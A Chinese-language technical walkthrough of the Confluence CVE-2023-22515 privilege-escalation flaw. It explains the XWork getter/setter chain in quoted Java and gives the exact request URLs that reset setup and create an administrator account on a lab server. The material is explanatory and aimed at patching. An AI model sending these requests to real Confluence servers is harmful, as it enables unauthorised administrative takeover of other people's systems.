Atlassian 收到报告称可能存在一个漏洞,可能被利用并通过管理权限访问破坏环境。2023年10月4日,Atlassian 发布了一个关于 CVE-2023-22515 的安全公告,该漏洞的 CVSS 评分为 10.0。该漏洞存在于 Confluence Server 和 Data Center 版本 的 8.0.0 版本中,并影响 <8.3.3, <8.4.3, <8.5.2 的版本。
攻击者可以利用该漏洞在 Confluence 中创建一个具有完全管理权限的额外账户。攻击者无需任何先验信息即可利用该漏洞。该漏洞被认为可能启用其他未知的攻击向量,应尽快修补。
利用此漏洞,攻击者可以返回到 Confluence 配置的设置阶段,并创建一个具有管理访问权限的新用户。这一切之所以可能,是因为 Confluence 是使用 Apache Struts 框架构建的,该框架依赖于 XWork 包。XWork 允许以 Java 类的形式定义 Actions。每个 Action 都可以通过 URL 调用,相应的 Java 类将处理请求,执行 Action 所需的操作,并发出响应。
此问题主要由于一个类 action 引起,我们可以通过 URL 调用属性。
探测发生在 ServerInfoAction action 中,我们可以操纵该类的 getter/setter 并重置设置配置。
如果分析 ServerInfoAction 类的代码,你会发现它扩展了 ConfluenceActionSupport 类。这样做,它也会继承其所有方法。其中一个方法是一个 getter,返回 BootstrapStatusProvider 对象:
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
public BootstrapStatusProvider getBootstrapStatusProvider() {
if (this.bootstrapStatusProvider == null)
this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
return this.bootstrapStatusProvider;
}
}
我们关注 BootstrapStatusProvider 类,因为它有另一个 getter 方法,我们可以用来获取 ApplicationConfiguration 对象:
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
public ApplicationConfiguration getApplicationConfig() {
return this.delegate.getApplicationConfig();
}
}
该对象包含应用程序的配置,包括一个告诉 Confluence 初始设置是否完成的属性。该属性可以通过 ApplicationConfig 类中的 setter 进行修改:
public class ApplicationConfig implements ApplicationConfiguration {
public synchronized void setSetupComplete(boolean setupComplete) {
this.setupComplete = setupComplete;
}
}
如果我们能调用 setSetupComplete(false),就可以重置设置配置过程,我们可以使用 getter/setter 方法如下实现:
http://10.10.227.86:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
此 URL 将调用我们上面提到的所有方法,到达负责重置设置的目标方法。
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)
下面,我们有一个运行易受攻击版本 Confluence 的服务器的示例。
让我们尝试使用上述方法调用重新启动设置过程:
http://atlassian.poc:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
将 setupcomplete 参数设置为 false 后,我们将收到成功返回。这意味着更改参数的尝试成功了。
让我们尝试通过访问设置 URL 来创建一个新账户,我们试图重置该进程。
http://atlassian.poc:8090/setup/setupadministrator-start.action
我们成功重置了设置进程并创建了一个具有管理访问权限的新用户。
该漏洞已在版本 8.3.3, 8.4.3 和 8.5.2 中修复。任何更新的版本分支也应该安全。
更多信息,Atlassian 已在其网站上发布了漏洞详情(了解更多 - Atlassian)。